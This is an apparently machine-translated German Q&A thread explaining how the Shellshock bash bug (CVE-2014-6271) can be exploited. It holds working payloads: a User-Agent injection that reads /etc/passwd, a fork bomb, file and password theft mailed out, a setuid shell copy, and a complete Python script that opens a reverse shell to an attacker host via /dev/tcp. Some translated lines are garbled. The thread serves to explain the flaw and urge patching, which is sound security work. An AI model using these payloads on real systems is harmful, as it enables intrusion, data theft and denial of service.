it-swarm.com.de

Was ist ein konkretes Beispiel dafür, wie der Shellshock Bash-Fehler ausgenutzt werden könnte?

Ich habe einige Artikel ( Artikel1 , Artikel2 , Artikel , Artikel4 ) über Shellshock gelesen = Bash-Fehler ( CVE-2014-6271 gemeldet am 24. September 2014) und eine allgemeine Vorstellung davon, was die Sicherheitsanfälligkeit ist und wie sie ausgenutzt werden könnte. Was wäre ein einfaches und spezifisches Beispiel für einen Angriffsvektor/ein Szenario, das den Fehler ausnutzen könnte, um die Auswirkungen des Fehlers besser zu verstehen?

211
Rob Bednark

Ein sehr einfaches Beispiel wäre ein cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Rufen Sie es dann mit wget auf, um die User Agent-Zeichenfolge auszutauschen. Z.B. Dies zeigt den Inhalt von/etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

Um es aufzuschlüsseln:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Sieht aus wie:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

Das Problem ist meines Wissens, dass es zwar in Ordnung ist, eine Funktion in einer Umgebungsvariablen zu definieren, bash den Code danach jedoch nicht ausführen soll.

Der zusätzliche "Inhaltstyp:" dient nur zur Veranschaulichung. Es verhindert den 500-Fehler und zeigt den Inhalt der Datei an.

Das obige Beispiel zeigt auch, dass es sich nicht um ein Problem von Programmierfehlern handelt. Selbst normalerweise sichere und harmlose Bash-CGI, die nicht einmal Benutzereingaben berücksichtigen, können ausgenutzt werden.

157
mgjk

Mit dem Zugriff auf Bash, selbst von der POV eines Webbenutzers, sind die Möglichkeiten endlos. Hier ist zum Beispiel eine Gabelbombe:

() { :; }; :(){ :|: & };:

Fügen Sie dies einfach in eine Benutzeragentenzeichenfolge in einem Browser ein, rufen Sie Ihre Webseite auf und führen Sie sofort DoS auf Ihrem Webserver durch.

Oder jemand könnte Ihren Server als Angriffsbot verwenden:

() { :; }; ping -s 1000000 <victim IP>

Wenn Sie das auf mehrere andere Server übertragen, sprechen Sie von echter Bandbreite.

Andere Angriffsmethoden:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" [email protected]
() { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]

# setuid Shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

Es gibt unendlich viele andere Möglichkeiten: Reverse Shells, Ausführen von Servern an Ports, automatisches Herunterladen eines Rootkits, um von Webbenutzer zu Rootbenutzer zu gelangen. Es ist eine Muschel! Es kann alles. Bei Sicherheitskatastrophen ist dies sogar noch schlimmer als bei Heartbleed.

Der wichtige Teil ist, dass Sie Ihr System patchen. JETZT! Wenn Sie noch externe Server haben, die noch nicht gepatcht sind, was lesen Sie dann noch?!

Hacker machen diese Dinge bereits oben, und Sie wissen es nicht einmal!

99
Brendan Byrd

Es sind nicht nur Server; Client-Software kann ebenfalls betroffen sein. Hier ist ein Beispiel eines anfälligen DHCP-Clients . Wenn ein Computer über einen solchen anfälligen Client (und eine fehlerhafte Bash) verfügt, kann jeder Computer im Subnetz fehlerhafte DHCP-Antworten senden und Root-Berechtigungen erhalten.

Angesichts der weit verbreiteten Verwendung von Umgebungsvariablen zur gemeinsamen Nutzung des Status zwischen Prozessen in Unix und der Menge der möglicherweise beteiligten Software ist die Angriffsfläche sehr groß. Denken Sie nicht, dass Ihr Computer sicher ist, da Sie keinen Webserver ausführen. Die einzige Lösung besteht darin, Bash-Patches zu erstellen, einen Wechsel zu einer weniger komplexen Standard-Shell (z. B. Dash) in Betracht zu ziehen und zu hoffen, dass es nicht viel mehr ähnliche Sicherheitslücken gibt.

13
Tim Dierks

Sie müssen bash nicht explizit verwenden, damit dies ein Problem darstellt. Das eigentliche Problem besteht darin, dass Angreifer den Wert von Umgebungsvariablen mitbestimmen können. Nachdem die Umgebung festgelegt wurde, ist es nur eine Frage der Zeit, bis eine Shell (möglicherweise unbekannt) in einer Umgebung ausgeführt wird, für die sie nicht vorbereitet wurde.

Jedes Programm (bash, Java, tcl, php, ...) hat diese Signatur:

int main(int argc, char** argv, char** arge);

Entwickler haben die Angewohnheit, argc und argv auf Sauberkeit zu überprüfen. Die meisten ignorieren arge und versuchen nicht, es zu validieren, bevor sie Subshells erzeugen (explizit oder implizit). Und in diesem Fall verteidigt sich bash nicht richtig gegen schlechte Eingaben. Um eine Anwendung miteinander zu verbinden, werden Unterprozesse erzeugt. Im Grunde passiert so etwas:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

In Ihrem eigenen Code gibt es möglicherweise keine Verweise auf Bash. Aber vielleicht starten Sie tcl und etwas tief im tcl-Code startet Bash für Sie. Es würde die Umgebungsvariablen erben, die derzeit festgelegt sind.

Im Fall der anfälligen Version von Bash passiert Folgendes:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

Wo parseEnvironment eine Reihe von Umgebungsvariablendefinitionen sieht, die es nicht unbedingt erkennt. Aber es wird raten, dass einige dieser Umgebungsvariablen Funktionsdefinitionen sind:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash hat keine Ahnung, was ein HTTP_COOKIE ist. Aber es beginnt mit (), also bash Vermutungen, dass dies eine Funktionsdefinition ist. Außerdem können Sie nach der Funktionsdefinition sofort ausgeführten Code hinzufügen, da Sie möglicherweise einige Nebenwirkungen mit Ihrer Funktionsdefinition initialisieren müssen. Der Patch entfernt die Möglichkeit, nach der Funktionsdefinition Nebenwirkungen hinzuzufügen.

Aber die ganze Idee, dass eine Umgebungsvariable mit der vom Angreifer bereitgestellten Funktionsdefinition inaktiv sein kann, ist immer noch höchst beunruhigend!

recieve='() { echo you meant receive lol; }'

Wenn der Angreifer veranlassen kann, dass dieser Variablenname einen von ihm angegebenen Wert erhält, und auch weiß, dass er darauf warten kann, dass ein Bash-Unterprozess versucht, eine Funktion mit diesem Namen aufzurufen, ist dies ein weiterer Angriffsvektor.

Dies ist nur die alte Ermahnung an validiere deine Eingaben. Da Shells möglicherweise als überraschendes Implementierungsdetail erzeugt werden, setzen Sie nie eine Umgebungsvariable auf einen Wert, der nicht streng validiert ist. Das bedeutet, dass jedes mögliche Programm, das diese Umgebungsvariable liest, mit dem Wert nichts Unerwartetes macht. wie es als Code ausführen.

Heute ist es Bash. Morgen ist es Java, sh, tcl oder node. Sie alle nehmen einen Umgebungszeiger in ihre Hauptfunktion auf; und sie alle haben unterschiedliche Einschränkungen hinsichtlich der sicheren Handhabung (bis sie gepatcht sind).

12
Rob

Hier ist ein Beispiel durch ein CGI-Skript für einen Remote-Angriff, ungetestet - Entnommen aus http://Pastebin.com/166f8Rjx

Wie alle Exploits hängt es von den Umständen ab. Stellt eine Verbindung zu einer Remote-CGI-Datei auf dem Webserver her und startet eine Reverse-Shell

() {ignoriert;};/bin/bash -i> &/dev/tcp /% s 0> & 1 "% sys.argv [3 ]]

#
#CVE-2014-6271 cgi-bin reverse Shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <Host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_Shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_Shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
7
poperob